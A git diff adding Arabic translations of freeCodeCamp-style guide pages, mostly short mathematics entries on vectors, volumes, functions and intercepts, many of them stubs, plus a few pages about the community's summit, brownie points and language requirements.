+أيضا ، إذا تم إعطاء اثنين من المتجهات ( **أ** و **ب** ) من حيث [ناقلات الوحدة](https://en.wikipedia.org/wiki/Unit_vector) الخاصة بهم ، أين
+
+**a** = x 1 i + y 1 j
+
+و
+
+**b** = x 2 i + y 2 j
+
+يتم إعطاء المنتج نقطة على النحو التالي:
+
+**ab** = (x 1 i + y 1 j) \* (x 2 i + y 2 j)
+
+بما أن _i_ و _j_ هما [متجهتين لوحدة](https://en.wikipedia.org/wiki/Unit_vector) (ما يعادل واحدًا) ،
+
+**ab** = (x 1 \* x 2 ) + (y 1 \* y 2 )
+
+### معلومات اكثر:
+
+1.  [ناقل أقليدي](https://en.wikipedia.org/wiki/Euclidean_vector)
+2.  [Vector و Vector الحساب](http://spiff.rit.edu/classes/phys311.old/lectures/vector/vector.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/hyperplanes/index.md b/client/src/guide/arabic/mathematics/vectors/hyperplanes/index.md
new file mode 100644
index 0000000000..51604b90c4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/hyperplanes/index.md
@@ -0,0 +1,11 @@
+---
+title: Hyperplanes
+localeTitle: Hyperplanes
+---
+## Hyperplanes
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/hyperplanes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/index.md b/client/src/guide/arabic/mathematics/vectors/index.md
new file mode 100644
index 0000000000..e2ac482c6e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/index.md
@@ -0,0 +1,7 @@
+---
+title: Vectors
+localeTitle: ثلاثة أبعاد
+---
+## ثلاثة أبعاد
+
+المتجهات هي كائنات هندسية ذات طول (حجم) واتجاه. تلعب المتجهات دوراً هاماً في مجالات الفيزياء والهندسة والرياضيات.
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/introduction-to-vectors/index.md b/client/src/guide/arabic/mathematics/vectors/introduction-to-vectors/index.md
new file mode 100644
index 0000000000..44832e5b6d
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/introduction-to-vectors/index.md
@@ -0,0 +1,29 @@
+---
+title: Introduction to Vectors
+localeTitle: مقدمة إلى المتجهات
+---
+# مقدمة إلى المتجهات.
+
+المتجه هو عبارة عن كمية فيزيائية يمكن قياسها (لها حجم في الوحدات) وتعمل أيضًا في اتجاه معين ، بخلاف مقياس رقمي يمكن قياسه فقط. تشمل أمثلة المتجهات السرعة ، والتسارع ، والقوة ، والزخم.
+
+يمكن تمثيل المتجه بخط مرسوم ، بحيث:
+
+*   طول الخط يمثل _**حجم**_ vetor في وحدة معينة ؛
+*   يمثل اتجاه الخط _**الاتجاه**_ الذي يعمل فيه المتجه (أو يعمل).
+
+![ناقلات التمثيل](https://github.com/xeroxism/myImages/blob/master/FCC_guides/vector-representation.png?raw=true)
+
+في الشكل أعلاه ، تتم كتابة تهجير A إلى B على هيئة **AB** ( **ā** أو **a** ). النقطة A هي المصدر أو النقطة الأولية والنقطة B هي الرأس أو النقطة الطرفية. هذا الإزاحة يعادل تحريك المسافة _x_ أفقياً متبوعة _y_ عموديًا.
+
+### معامل المتجه
+
+إن معامل المتجه هو رقم قياسي موجب يعطي حجم المتجه. مكتوب مثل هذا:
+
+| **AB** | أو | **أ** | أو ببساطة **AB** **أو.**
+
+أين؛ | AB | = √ ( _x_ 2 + _y_ 2 )
+
+### معلومات اكثر:
+
+1.  [ناقل أقليدي](https://en.wikipedia.org/wiki/Euclidean_vector) .
+2.  [Vector و Vector الحساب](http://spiff.rit.edu/classes/phys311.old/lectures/vector/vector.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/minkowski-inequality/index.md b/client/src/guide/arabic/mathematics/vectors/minkowski-inequality/index.md
new file mode 100644
index 0000000000..6e63f170f9
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/minkowski-inequality/index.md
@@ -0,0 +1,11 @@
+---
+title: Minkowski Inequality
+localeTitle: عدم المساواة Minkowski
+---
+## عدم المساواة Minkowski
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/minkowski-inequality/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/norm-of-a-vector/index.md b/client/src/guide/arabic/mathematics/vectors/norm-of-a-vector/index.md
new file mode 100644
index 0000000000..b56ac0ddb6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/norm-of-a-vector/index.md
@@ -0,0 +1,11 @@
+---
+title: Norm of a Vector
+localeTitle: معيار المتجهات
+---
+## معيار المتجهات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/norm-of-a-vector/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/parametric-representation-of-lines/index.md b/client/src/guide/arabic/mathematics/vectors/parametric-representation-of-lines/index.md
new file mode 100644
index 0000000000..1cc502a1bd
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/parametric-representation-of-lines/index.md
@@ -0,0 +1,11 @@
+---
+title: Parametric Representation of Lines
+localeTitle: تمثيل حدودي للخطوط
+---
+## تمثيل حدودي للخطوط
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/parametric-representation-of-lines/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/projections/index.md b/client/src/guide/arabic/mathematics/vectors/projections/index.md
new file mode 100644
index 0000000000..bcd125ad2c
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/projections/index.md
@@ -0,0 +1,11 @@
+---
+title: Projections
+localeTitle: التوقعات
+---
+## التوقعات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/projections/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/spatial-vectors/index.md b/client/src/guide/arabic/mathematics/vectors/spatial-vectors/index.md
new file mode 100644
index 0000000000..5ead231c7f
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/spatial-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Spatial Vectors
+localeTitle: الناقلات المكانية
+---
+## الناقلات المكانية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/spatial-vectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/tangent-vectors/index.md b/client/src/guide/arabic/mathematics/vectors/tangent-vectors/index.md
new file mode 100644
index 0000000000..0eebed7614
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/tangent-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Tangent Vectors
+localeTitle: نطاقات Tangent
+---
+## نطاقات Tangent
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/tangent-vectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vectors/unit-vectors/index.md b/client/src/guide/arabic/mathematics/vectors/unit-vectors/index.md
new file mode 100644
index 0000000000..dafc4d6345
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vectors/unit-vectors/index.md
@@ -0,0 +1,11 @@
+---
+title: Unit Vectors
+localeTitle: متجهات الوحدة
+---
+## متجهات الوحدة
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vectors/unit-vectors/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/venn-diagrams/index.md b/client/src/guide/arabic/mathematics/venn-diagrams/index.md
new file mode 100644
index 0000000000..3125f18456
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/venn-diagrams/index.md
@@ -0,0 +1,11 @@
+---
+title: Venn Diagrams
+localeTitle: مخططات فين
+---
+## الرسوم البيانية فين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/venn-diagrams/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vertical-angles/index.md b/client/src/guide/arabic/mathematics/vertical-angles/index.md
new file mode 100644
index 0000000000..9e42ec381b
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vertical-angles/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Angles
+localeTitle: الزوايا العمودي
+---
+## الزوايا العمودي
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vertical-angles/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/vertical-asymptotes/index.md b/client/src/guide/arabic/mathematics/vertical-asymptotes/index.md
new file mode 100644
index 0000000000..d30c155b55
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/vertical-asymptotes/index.md
@@ -0,0 +1,11 @@
+---
+title: Vertical Asymptotes
+localeTitle: الخطوط المقاربة الرأسية
+---
+## الخطوط المقاربة الرأسية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/vertical-asymptotes/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/volume-of-a-cone/index.md b/client/src/guide/arabic/mathematics/volume-of-a-cone/index.md
new file mode 100644
index 0000000000..59e4bba998
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/volume-of-a-cone/index.md
@@ -0,0 +1,15 @@
+---
+title: Volume of a Cone
+localeTitle: حجم المخروط
+---
+## حجم المخروط
+
+بالنظر إلى نصف قطر قاعدة المخروط ، r ، وارتفاع المخروط ، h ، يكون حجم المخروط
+
+1/3 \* π \* r 2 \* h .
+
+على سبيل المثال ، يكون حجم المخروط مع نصف قطر الوحدات الأساسية 8 والطول 18 وحدة هو 1/3 \* π \* 8 \* 8 \* 18 = 1206.37 .
+
+#### معلومات اكثر:
+
+[حجم المخروط](https://www.varsitytutors.com/hotmath/hotmath_help/topics/volume-of-a-cone)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/volume-of-a-sphere/index.md b/client/src/guide/arabic/mathematics/volume-of-a-sphere/index.md
new file mode 100644
index 0000000000..4b332af70e
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/volume-of-a-sphere/index.md
@@ -0,0 +1,15 @@
+---
+title: Volume of a Sphere
+localeTitle: حجم المجال
+---
+## حجم المجال
+
+بالنظر إلى نصف قطر الكرة ، ص ، يكون حجم الكرة
+
+4/3 \* π \* r 3 .
+
+على سبيل المثال ، حجم الكرة مع نصف قطر 10 وحدات هو 4/3 \* π \* 10 \* 10 \* 10 = 4188.79 .
+
+#### معلومات اكثر:
+
+[حجم المجال](https://www.mathopenref.com/spherevolume.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md b/client/src/guide/arabic/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md
new file mode 100644
index 0000000000..4d167be29a
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md
@@ -0,0 +1,11 @@
+---
+title: What a P Value Tells You About Statistical Data
+localeTitle: ما هي قيمة P تخبرك عن البيانات الإحصائية
+---
+## ما هي قيمة P تخبرك عن البيانات الإحصائية
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/what-a-p-value-tells-you-about-statistical-data/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/what-is-a-function/index.md b/client/src/guide/arabic/mathematics/what-is-a-function/index.md
new file mode 100644
index 0000000000..5ae28da935
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/what-is-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is a Function
+localeTitle: ما هي وظيفة
+---
+## ما هي وظيفة
+
+يتم تعريف دالة رياضياً على أنها تعيين مجموعة واحدة من الأرقام إلى أخرى. على سبيل المثال `f(x) = x*2.` أي إدخال معين من مجموعة معينة (يسمى المجال) يعطي دومًا مخرجات محددة من النطاق. في دالة المضاعفة ، تقوم المدخلات 1،3 و 5 بالتقاط إلى الأرقام 2،6 و 10 في النطاق ، وهي أيضًا مجموعة جميع الأرقام الحقيقية.
+
+في المقابل ، فإن "وظيفة" في البرمجة (تسمى بطريقة أكثر دقة أو طريقة فرعية في بعض اللغات) هي طريقة تأخذ واحدة أو أكثر من القيم وتنتج مخرجات أو أكثر. لا يوجد أي ضمان على العموم بأن بعض الحالة الداخلية (مثل متغير عالمي) يمكن أن تتغير بطريقة يمكن أن تكون f (2) 5 في وقت واحد ، أو 10 عند تشغيلها مرة أخرى. في معظم اللغات المسموح بها ، حتى في بعض الحالات ، ولكن بعض اللغات التي تستخدم _البرمجة الوظيفية_ تحدد الوظائف كدالات رياضية من حيث أنه لا توجد متغيرات الحالة التي يمكن أن تتغير ولها تناقضات ، وبالتالي إعطاء رمز "صحيح بشكل أكيد".
+
+#### معلومات اكثر:
+
+اللغات الوظيفية: [هاسكل](http://learnyouahaskell.com/chapters) ، [كلوureور](https://clojure.org/)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/what-is-the-domain-of-a-function/index.md b/client/src/guide/arabic/mathematics/what-is-the-domain-of-a-function/index.md
new file mode 100644
index 0000000000..b6b2cf0325
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/what-is-the-domain-of-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is the Domain of a Function
+localeTitle: ما هو مجال وظيفة
+---
+## ما هو مجال وظيفة
+
+مجال وظيفة هو مجموعة كاملة من القيم الممكنة للمتغير المستقل. وبعبارة أخرى ، فإن النطاق هو مجموعة جميع قيم x الممكنة التي ستجعل الوظيفة "تعمل" ، وستقوم بإنتاج قيم حقيقية.
+
+على سبيل المثال ، بالنسبة إلى y = sqrt (x + 2) ، يكون نطاق هذه الدالة هو x> = -2 .
+
+#### معلومات اكثر:
+
+[المجال ومجموعة من وظيفة](https://www.intmath.com/functions-and-graphs/2a-domain-and-range.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/what-is-the-range-of-a-function/index.md b/client/src/guide/arabic/mathematics/what-is-the-range-of-a-function/index.md
new file mode 100644
index 0000000000..6d9d7f7f90
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/what-is-the-range-of-a-function/index.md
@@ -0,0 +1,13 @@
+---
+title: What Is the Range of a Function
+localeTitle: ما هو نطاق وظيفة
+---
+## ما هو نطاق وظيفة
+
+نطاق الدالة هو مجموعة كاملة من جميع القيم الناتجة المحتملة للمتغير التابع ، بعد استبدال المجال. بمعنى آخر ، النطاق هو قيم y الناتجة التي تحصل عليها بعد استبدال كل قيم x المحتملة.
+
+على سبيل المثال ، بالنسبة إلى y = sqrt (x + 2) ، يكون نطاق هذه الدالة هو y> = 0 .
+
+#### معلومات اكثر:
+
+[المجال ومجموعة من وظيفة](https://www.intmath.com/functions-and-graphs/2a-domain-and-range.php)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/whole-numbers-and-integers/index.md b/client/src/guide/arabic/mathematics/whole-numbers-and-integers/index.md
new file mode 100644
index 0000000000..7c84db5465
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/whole-numbers-and-integers/index.md
@@ -0,0 +1,25 @@
+---
+title: Whole Numbers and Integers
+localeTitle: الأعداد الكاملة والعدد الصحيح
+---
+## الأعداد الكاملة والعدد الصحيح
+
+### الأعداد الكلية
+
+جميع الأرقام الموجبة ، بما في ذلك صفر ، التي لا تحتوي على جزء كسري أو عشري. تسمى الأرقام التي تبدأ من 1 ، 2 ، 3 ، وما إلى ذلك ... بأرقام العد أو الأرقام الطبيعية.
+
+_أمثلة:_ 0 ، 8 ، 512 ، 36535
+
+عادة ما يتم أخذ الأرقام الكاملة كأمر مسلم بها نظرًا لطبيعتها التافهة. لكن فهمنا الكامل للرياضيات يعتمد على فهم مفهوم الأعداد الكاملة والفرز.
+
+باستخدام الأرقام الكاملة ، يمكننا حساب ، جمع ، طرح ، ضرب ، وبالتالي ، القدرة على أداء جميع الوظائف الحسابية الأخرى. يمكنك تكوين أعداد صحيحة ، عقلانية ، غير عقلانية ، و حقيقية باستخدام الأعداد الصحيحة.
+
+### الأعداد الصحيحة
+
+عدد صحيح يحتوي على جميع خصائص عدد صحيح ، المذكورة أعلاه. بالإضافة إلى ذلك ، يمكن أن يكون عددًا صحيحًا سالبة.
+
+جميع الأعداد الصحيحة هي الأعداد الصحيحة.
+
+_أمثلة:_ -23 ، -11 ، 0 ، 12 ، 7129
+
+العدد الصحيح هو سلبي إذا كان لديه علامة `-` تسبقه. يمكنك تحويل أي رقم حقيقي إلى عدد صحيح من خلال عملية [التقريب](https://www.mathsisfun.com/rounding-numbers.html) .
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md b/client/src/guide/arabic/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md
new file mode 100644
index 0000000000..3c75236d38
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Converting a Fraction to a Decimal
+localeTitle: مثال متقارب تحويل كسر إلى رقم عشري
+---
+## مثال متقارب تحويل كسر إلى رقم عشري
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-converting-a-fraction-to-a-decimal/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/worked-example-domain-and-range-from-graph/index.md b/client/src/guide/arabic/mathematics/worked-example-domain-and-range-from-graph/index.md
new file mode 100644
index 0000000000..fcd4d9bfb4
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/worked-example-domain-and-range-from-graph/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Domain and Range from Graph
+localeTitle: مجال المثال عمل ومدى من الرسم البياني
+---
+## مجال المثال عمل ومدى من الرسم البياني
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-domain-and-range-from-graph/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/worked-example-graphing-piecewise-functions/index.md b/client/src/guide/arabic/mathematics/worked-example-graphing-piecewise-functions/index.md
new file mode 100644
index 0000000000..bdf59555d6
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/worked-example-graphing-piecewise-functions/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Graphing Piecewise Functions
+localeTitle: مثال العامل الرسوم البيانية وظائف الفراغ
+---
+## مثال العامل الرسوم البيانية وظائف الفراغ
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-graphing-piecewise-functions/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/worked-example-interval-of-convergence/index.md b/client/src/guide/arabic/mathematics/worked-example-interval-of-convergence/index.md
new file mode 100644
index 0000000000..d74e4b1aeb
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/worked-example-interval-of-convergence/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Interval of Convergence
+localeTitle: فاصل مثال عمل التقارب
+---
+## فاصل مثال عمل التقارب
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-interval-of-convergence/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/worked-example-order-of-operations-pemdas/index.md b/client/src/guide/arabic/mathematics/worked-example-order-of-operations-pemdas/index.md
new file mode 100644
index 0000000000..c78ddb78af
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/worked-example-order-of-operations-pemdas/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Order of Operations Pemdas
+localeTitle: أمر مثال للعملية من بيمداس
+---
+## أمر مثال للعملية من بيمداس
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-order-of-operations-pemdas/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/worked-example-slope-from-two-points/index.md b/client/src/guide/arabic/mathematics/worked-example-slope-from-two-points/index.md
new file mode 100644
index 0000000000..295899d269
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/worked-example-slope-from-two-points/index.md
@@ -0,0 +1,11 @@
+---
+title: Worked Example Slope from Two Points
+localeTitle: منحدر مثال العمل من نقطتين
+---
+## منحدر مثال العمل من نقطتين
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/worked-example-slope-from-two-points/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/working-with-exponents-and-logarithms/index.md b/client/src/guide/arabic/mathematics/working-with-exponents-and-logarithms/index.md
new file mode 100644
index 0000000000..8238562816
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/working-with-exponents-and-logarithms/index.md
@@ -0,0 +1,13 @@
+---
+title: Working with Exponents and Logarithms
+localeTitle: العمل مع الدعاة والوغاريتمات
+---
+## العمل مع الدعاة والوغاريتمات
+
+هذا هو كعب. [ساعد مجتمعنا على توسيعه](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/working-with-exponents-and-logarithms/index.md) .
+
+[سيساعدك دليل النمط السريع هذا على ضمان قبول طلب السحب](https://github.com/freecodecamp/guides/blob/master/README.md) .
+
+#### معلومات اكثر:
+
+[https://www.mathsisfun.com/algebra/logarithms.html](https://www.mathsisfun.com/algebra/logarithms.html)
\ No newline at end of file
diff --git a/client/src/guide/arabic/mathematics/x-and-y-intercepts/index.md b/client/src/guide/arabic/mathematics/x-and-y-intercepts/index.md
new file mode 100644
index 0000000000..f383c4a296
--- /dev/null
+++ b/client/src/guide/arabic/mathematics/x-and-y-intercepts/index.md
@@ -0,0 +1,17 @@
+---
+title: X and Y Intercepts
+localeTitle: X و Y Intercepts
+---
+## X و Y Intercepts
+
+يُعد التقاطع X هو النقطة (النقاط) على المحور X حيث يتقاطع الرسم البياني للدالة أو يلمس المحور. تحدث حيث `y = 0` .
+
+التقاطع Y هو النقطة التي يتقاطع فيها الرسم البياني للدالة مع المحور Y. يحدث حيث `x = 0` .
+
+يمكن أن تحتوي الدالة على عدة تعقيدات X ، ولكن يمكن أن يكون لها اعتراض Y واحد فقط.
+
+للعثور على التقاطع X ، قم بتعيين `y = 0` وحل المعادلة لـ x.
+
+للعثور على التقاطع Y ، اضبط `x = 0` وحل المعادلة لـ y.
+
+على سبيل المثال ، تم حل القاطعين X و Y لخط نموذجي في النموذج `y = mx + b` . ![صورة تدل على العثور على x و y للخط العادي في شكل y = mx + b. التقاطع Y يساوي b و يكون التقاطع X مساوياً لـ b b مقسومًا على m](https://raw.githubusercontent.com/hayleycd/images/master/solve_intercepts.jpeg)
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-agenda-for-october-summit-2015/index.md b/client/src/guide/arabic/meta/free-code-camp-agenda-for-october-summit-2015/index.md
new file mode 100644
index 0000000000..17f56b470d
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-agenda-for-october-summit-2015/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Agenda for October Summit 2015
+localeTitle: أجندة كود كامب لقمة أكتوبر 2015
+---
+ستبدأ قمة 3 أكتوبر 2015 في [تمام](http://twitch.tv/freecodecamp) الساعة بتوقيت الساحل الشرقي يوم السبت على [قناة twitch.tv](http://twitch.tv/freecodecamp) وستتوفر بعد ذلك على [قناة يوتيوب](https://www.youtube.com/channel/UC8butISFwT-Wl7EV0hUK0BQ?sub_confirmation=1) لدينا.
+
+خلال هذا البث المباشر لساعة واحدة ، سنقوم بما يلي:
+
+*   إطلاق برامج شهادة End End و Full Stack Development المجانية
+*   عرض صفحات المحافظ الجديدة والأكثر شمولاً
+*   عرض طريقة جديدة يمكن لجميع المعسكرين على الفور البدء في مساعدة المنظمات غير الربحية
+*   تحدث مع الكابتن بليك جونستون ، الذي ابتكر منصة Clementine.js التي ستستخدمها Free Code Camp لتحديات مشروع Back End
+*   إطلاق حملتنا الأولى على الإطلاق على teespring.com
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-brownie-points/index.md b/client/src/guide/arabic/meta/free-code-camp-brownie-points/index.md
new file mode 100644
index 0000000000..f5c81ca628
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-brownie-points/index.md
@@ -0,0 +1,16 @@
+---
+title: Free Code Camp Brownie Points
+localeTitle: معسكر رمز المعسكر
+---
+الرقم الموجود بجانب صورتك في Free Code Camp يخبرك كم من نقاط براوني لديك.
+
+![صورة ملف تعريف المستخدم بجوار نقاط براوني نقاط](//discourse-user-assets.s3.amazonaws.com/original/2X/a/aa0c6b56b3b0d4f3acd63212b5e737fdcdd75729.png)
+
+هناك طريقتان يمكنك الحصول على نقاط براوني:
+
+1.  تحديات كاملة - تحصل على نقطة واحدة لكل تحدي تستكمله
+2.  ساعد المعسكرين الآخرين في غرفة الدردشة المرتّبة - في كل مرة تساعد فيها عربة قافلة أخرى ويشكرونك (بكتابة "شكر @ yourour ") ، ستحصل على نقطة.
+
+> تساعدك Brownie Points في الظهور كشخصية الشخص الذي يرمز إلى الكثير ، ويشارك الروابط ذات الصلة ، ويساعد الناس.
+
+كما أنها تضيف إلى [Streak](http://forum.freecodecamp.com/t/free-code-camp-streaks/18379) الخاص بك.
\ No newline at end of file
diff --git a/client/src/guide/arabic/meta/free-code-camp-completion-language-requirements/index.md b/client/src/guide/arabic/meta/free-code-camp-completion-language-requirements/index.md
new file mode 100644
index 0000000000..69f2a2cb83
--- /dev/null
+++ b/client/src/guide/arabic/meta/free-code-camp-completion-language-requirements/index.md
@@ -0,0 +1,13 @@
+---
+title: Free Code Camp Completion Language Requirements
+localeTitle: متطلبات لغة مخيم كامب استكمال الحرة
+---
+تشمل آخر 800 ساعة من معسكر الشفرات الحرة إنشاء مشروعات للمنظمات غير الربحية. ستشمل هذه المشاريع غير الربحية الكثير من الاجتماعات والمراسلات والبرامج الزوجية ، وسيتم إجراؤها جميعًا باللغة الإنجليزية.
+
+يجب أن تكون جيدًا بما فيه الكفاية مع اللغة الإنجليزية حتى تتمكن من المشاركة في هذه الاجتماعات.
+
